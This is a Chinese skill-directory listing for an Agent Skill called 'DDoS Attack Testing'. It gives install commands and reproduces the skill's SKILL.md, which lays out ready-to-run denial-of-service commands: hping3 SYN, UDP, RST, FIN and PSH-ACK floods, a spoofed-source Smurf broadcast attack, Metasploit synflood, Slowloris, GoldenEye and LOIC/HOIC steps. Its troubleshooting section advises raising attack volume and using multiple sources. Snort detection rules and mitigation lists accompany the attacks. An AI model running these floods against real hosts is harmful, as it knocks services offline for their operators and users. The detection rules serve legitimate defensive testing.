Token导航 LogoToken导航TokenDH.com
待分类执行命令github未标认证来源可访问许可证需确认审计异常

ddos-attack-testingDDoS 攻击测试

Agent Skill

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

总安装

5,474

周安装

203

GitHub Stars

28

下载量

1,394
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:ddos-attack-testing(DDoS 攻击测试)
来源仓库:https://github.com/zebbern/secops-cli-guides
仓库路径:skills/ddos-attack-testing
安装命令:
npx skills add https://github.com/zebbern/secops-cli-guides --skill 'DDoS Attack Testing'
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/zebbern/secops-cli-guides --skill 'DDoS Attack Testing'

简介

授权执行的DoS攻击测试工具集,用于评估网络抗攻击能力和IDS配置效果。

  • 适合渗透测试、安全演练和入侵检测规则验证等专业安全评估场景。
  • 包含hping3、Slowloris等工具使用说明及Snort规则配置指导。
  • 严禁未经授权的测试行为,仅限合规环境下由具备资质人员操作执行。
  • ddos-attack-testing 属于待分类类 Skill,可作为该场景下的辅助能力补充。

SKILL.md

DDoS Attack Testing

Purpose

Conduct authorized denial of service testing to assess network resilience and configure intrusion detection systems (IDS) to detect and alert on various DoS attack patterns. This skill covers volume-based, protocol-based, and application-layer attacks using command-line and GUI tools, along with Snort IDS rule configuration for detection.

Prerequisites

Required Tools

# Hping3 - packet crafting and flooding
sudo apt-get install hping3

# LOIC/HOIC - GUI-based stress testing
# Download from authorized sources only

# Slowloris - Application layer testing
git clone https://github.com/gkbrk/slowloris

# Snort IDS - Detection
sudo apt-get install snort

# Wireshark - Traffic analysis
sudo apt-get install wireshark

Required Knowledge

  • TCP/IP protocol fundamentals
  • OSI model layers
  • Network traffic analysis
  • IDS/IPS configuration

Required Access

  • Written authorization for testing
  • Isolated test network environment
  • Administrative access on target systems
  • IDS/Snort configuration access

Outputs and Deliverables

  1. Resilience Assessment Report - Document network response to stress testing
  2. IDS Rule Configuration - Snort rules for attack detection
  3. Attack Pattern Analysis - Traffic captures and signatures
  4. Mitigation Recommendations - DDoS protection strategies

Core Workflow

Phase 1: Understanding DDoS Categories

Identify the attack category based on target:

Volume Based Attacks:
- Objective: Flood bandwidth with traffic
- Metrics: Bits per second (bps)
- Examples: UDP flood, ICMP flood
- Target: Network bandwidth

Protocol Based Attacks:
- Objective: Exhaust server resources
- Metrics: Packets per second (pps)
- Examples: SYN flood, Ping of Death
- Target: Connection state tables

Application Layer Attacks:
- Objective: Crash specific applications
- Metrics: Requests per second (rps)
- Examples: HTTP flood, Slowloris
- Target: Web servers, applications

Phase 2: TCP SYN Flood Testing

Test network resilience to SYN flood attacks:

# Using Hping3
hping3 -S --flood -p 80 192.168.1.107

# Options:
# -S     : Set SYN flag
# --flood: Send packets as fast as possible
# -p 80  : Target port 80

# Using Metasploit
msfconsole
use auxiliary/dos/tcp/synflood
set RHOST 192.168.1.107
set SHOST 192.168.1.105
set RPORT 80
exploit

Configure Snort detection rule:

# Edit local rules
sudo gedit /etc/snort/rules/local.rules

# Add SYN flood detection rule
alert tcp any any -> 192.168.1.107 any (msg:"SYN Flood DoS"; flags:S; sid:1000006; threshold:type threshold, track by_src, count 100, seconds 1;)

# Start Snort in IDS mode
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0

Phase 3: UDP Flood Testing

Test network against UDP flood attacks:

# Using Hping3
hping3 --udp --flood -p 80 192.168.1.107

# Options:
# --udp   : Use UDP protocol
# --flood : Maximum packet rate
# -p 80   : Target port

# Specify data size
hping3 --udp --flood -p 53 -d 1000 192.168.1.107
# -d 1000 : 1000 bytes of data per packet

Configure Snort detection rule:

# UDP flood detection rule
alert udp any any -> 192.168.1.107 any (msg:"UDP Flood DoS"; sid:1000001; threshold:type threshold, track by_src, count 100, seconds 1;)

Phase 4: SYN-FIN Flood Testing

Test with invalid flag combinations:

# SYN-FIN flood
hping3 -SF --flood -p 80 192.168.1.107

# Options:
# -S : SYN flag
# -F : FIN flag
# Combined creates invalid packet

Detection is built into Snort for anomalous flag combinations.

Phase 5: PUSH-ACK Flood Testing

Test with PSH-ACK packet flood:

# PUSH-ACK flood
hping3 -PA --flood -p 80 192.168.1.107

# Options:
# -P : PSH flag
# -A : ACK flag

Configure Snort detection rule:

# PUSH-ACK flood detection
alert tcp any any -> 192.168.1.107 any (msg:"PUSH-ACK Flood DoS"; flags:PA; sid:1000002; threshold:type threshold, track by_src, count 100, seconds 1;)

Phase 6: RST Flood Testing

Test with TCP reset packet flood:

# RST flood
hping3 -R --flood -p 80 192.168.1.107

# Options:
# -R : RST flag

Configure Snort detection rule:

# RST flood detection
alert tcp any any -> 192.168.1.107 any (msg:"RST Flood DoS"; flags:R; sid:1000003;)

Phase 7: FIN Flood Testing

Test with FIN packet flood:

# FIN flood
hping3 -F --flood -p 80 192.168.1.107

# Options:
# -F : FIN flag

Configure Snort detection rule:

# FIN flood detection
alert tcp any any -> 192.168.1.107 any (msg:"FIN Flood DoS"; flags:F; sid:1000004;)

Phase 8: ICMP Smurf Attack

Test amplification attack scenario:

# Smurf attack simulation
hping3 --icmp --flood 192.168.1.255 -a 192.168.1.107

# Options:
# --icmp : Use ICMP protocol
# -a     : Spoof source address (victim)
# Target : Broadcast address

# All hosts reply to victim's spoofed address

Configure Snort detection rule:

# ICMP flood detection
alert icmp any any -> 192.168.1.107 any (msg:"ICMP Flood DoS"; sid:1000005; threshold:type threshold, track by_src, count 50, seconds 1;)

Phase 9: Application Layer Testing

Test HTTP layer resilience:

Slowloris Attack:

# Slowloris - Slow HTTP attack
python slowloris.py 192.168.1.107 -p 80 -s 500

# Options:
# -p 80  : Target port
# -s 500 : Number of sockets

GoldenEye Attack:

# GoldenEye - HTTP DoS
git clone https://github.com/jseidl/GoldenEye
python goldeneye.py http://192.168.1.107 -w 50 -s 500

# Options:
# -w 50  : Number of workers
# -s 500 : Number of sockets

Phase 10: GUI-Based Testing

Use graphical tools for stress testing:

LOIC (Low Orbit Ion Cannon):

# TCP Flood with LOIC
1. Enter target IP: 192.168.1.107
2. Select Port: 80
3. Select Method: TCP
4. Set Threads: 10
5. Click "IMMA CHARGIN MAH LAZER"

HOIC (High Orbit Ion Cannon):

# HTTP Flood with HOIC
1. Add Target URL
2. Select Power: High
3. Set Threads: 256
4. Launch Attack

Quick Reference

Hping3 Flag Options

FlagOptionDescription
SYN-STCP SYN flag
ACK-ATCP ACK flag
FIN-FTCP FIN flag
RST-RTCP RST flag
PSH-PTCP PSH flag
URG-UTCP URG flag
UDP--udpUse UDP protocol
ICMP--icmpUse ICMP protocol

Common Hping3 Commands

Attack TypeCommand
SYN Floodhping3 -S --flood -p 80 TARGET
UDP Floodhping3 --udp --flood -p 80 TARGET
ICMP Floodhping3 --icmp --flood TARGET
SYN-FINhping3 -SF --flood -p 80 TARGET
PSH-ACKhping3 -PA --flood -p 80 TARGET
RST Floodhping3 -R --flood -p 80 TARGET
FIN Floodhping3 -F --flood -p 80 TARGET
Spoof Sourcehping3 -S --flood -a FAKE_IP -p 80 TARGET

Snort Rule Structure

alert [protocol] [src_ip] [src_port] -> [dst_ip] [dst_port] (
    msg:"Alert Message";
    flags:[TCP flags];
    sid:[unique ID];
    threshold:type [threshold|limit|both], track [by_src|by_dst], count [N], seconds [N];
)

Attack Detection Indicators

Attack TypeIndicators
SYN FloodHigh SYN packets, low SYN-ACK
UDP FloodHigh UDP traffic, random ports
ICMP FloodHigh ICMP echo requests
SlowlorisMany half-open connections
HTTP FloodHigh HTTP requests/second

Constraints and Limitations

Legal Requirements

  • Only test systems you own or have written authorization
  • DDoS attacks on production systems are illegal
  • Use isolated test networks
  • Document all testing activities

Ethical Boundaries

  • Never attack production systems without explicit permission
  • Avoid testing during business hours
  • Coordinate with network administrators
  • Have rollback procedures ready

Technical Limitations

  • Test results vary with network capacity
  • CDN and cloud protection may skew results
  • Some attacks require significant bandwidth
  • Detection rules need tuning for environment

Examples

Example 1: Complete SYN Flood Test

Scenario: Test firewall resilience to SYN flood

# Step 1: Configure Snort rule
echo 'alert tcp any any -> 192.168.1.107 80 (msg:"SYN Flood"; flags:S; sid:1000001; threshold:type threshold, track by_src, count 50, seconds 10;)' >> /etc/snort/rules/local.rules

# Step 2: Start Snort
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

# Step 3: Start Wireshark capture
wireshark -i eth0 -f "host 192.168.1.107 and tcp"

# Step 4: Launch attack from attacker machine
hping3 -S --flood -p 80 -c 10000 192.168.1.107

# Step 5: Observe Snort alerts
# [**] [1:1000001:0] SYN Flood [**]
# 192.168.1.105 -> 192.168.1.107

# Step 6: Analyze Wireshark capture
# Check SYN packet rate and response behavior

Example 2: Multi-Vector Test

Scenario: Test against multiple attack types

# Configure comprehensive Snort rules
cat >> /etc/snort/rules/local.rules << 'EOF'
alert tcp any any -> $HOME_NET any (msg:"SYN Flood"; flags:S; sid:1000001; threshold:type threshold, track by_src, count 100, seconds 1;)
alert udp any any -> $HOME_NET any (msg:"UDP Flood"; sid:1000002; threshold:type threshold, track by_src, count 100, seconds 1;)
alert icmp any any -> $HOME_NET any (msg:"ICMP Flood"; sid:1000003; threshold:type threshold, track by_src, count 50, seconds 1;)
alert tcp any any -> $HOME_NET 80 (msg:"HTTP Flood"; flags:PA; content:"GET"; sid:1000004; threshold:type threshold, track by_src, count 50, seconds 1;)
EOF

# Run tests sequentially
hping3 -S --flood -p 80 -c 5000 TARGET
sleep 30
hping3 --udp --flood -p 53 -c 5000 TARGET
sleep 30
hping3 --icmp --flood -c 5000 TARGET

Example 3: Slowloris Application Attack

Scenario: Test web server connection limits

# Step 1: Check current connections
netstat -an | grep :80 | wc -l

# Step 2: Launch Slowloris
python slowloris.py 192.168.1.107 -p 80 -s 200

# Step 3: Monitor server connections
watch -n 1 'netstat -an | grep :80 | grep ESTABLISHED | wc -l'

# Step 4: Test legitimate access
curl -v --max-time 10 http://192.168.1.107/
# Expect: Connection timeout or slow response

# Step 5: Stop attack and verify recovery

Troubleshooting

Snort Not Detecting Attacks

Problem: No alerts generated during flood

Solutions:

  1. Verify Snort is listening on correct interface
  2. Check rule syntax with snort -T -c snort.conf
  3. Ensure HOME_NET variable is set correctly
  4. Lower threshold values for testing
  5. Verify traffic is reaching the interface

Hping3 Flood Too Slow

Problem: Flood rate insufficient for testing

Solutions:

  1. Use --faster or --flood options
  2. Run from multiple sources simultaneously
  3. Increase system network buffer sizes
  4. Use dedicated network interface
  5. Consider using specialized stress testing tools

Target Not Affected

Problem: Target continues operating normally

Solutions:

  1. Increase attack volume
  2. Target may have DDoS protection
  3. Check network path for filtering
  4. Verify traffic is reaching target (Wireshark)
  5. Target may have high capacity

False Positives in Detection

Problem: Legitimate traffic triggers alerts

Solutions:

  1. Increase threshold count values
  2. Add exceptions for known legitimate sources
  3. Use rate-based detection instead of simple count
  4. Whitelist trusted IP addresses
  5. Tune rules based on baseline traffic analysis

Mitigation Recommendations

Network Level

  1. Implement rate limiting at edge routers
  2. Configure SYN cookies on servers
  3. Use anycast for distributed absorption
  4. Deploy hardware-based DDoS mitigation
  5. Configure ACLs to block known attack patterns

Application Level

  1. Implement connection timeouts
  2. Use reverse proxy with rate limiting
  3. Deploy Web Application Firewall (WAF)
  4. Configure connection limits per IP
  5. Use CAPTCHA for suspicious requests

Infrastructure Level

  1. Use CDN for traffic absorption
  2. Implement geo-blocking if appropriate
  3. Configure auto-scaling for cloud resources
  4. Have DDoS mitigation service on standby
  5. Maintain incident response procedures

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

36.18%
按下载量换算504

Claude

28.68%
按下载量换算400

Cursor

19.66%
按下载量换算274

Gemini CLI

9.71%
按下载量换算135

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

未通过

权限和风险

执行命令

安装流程涉及命令执行,可能通过 npx skills add https://github.com/zebbern/secops-cli-guides --skill 'DDoS Attack Testing' 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills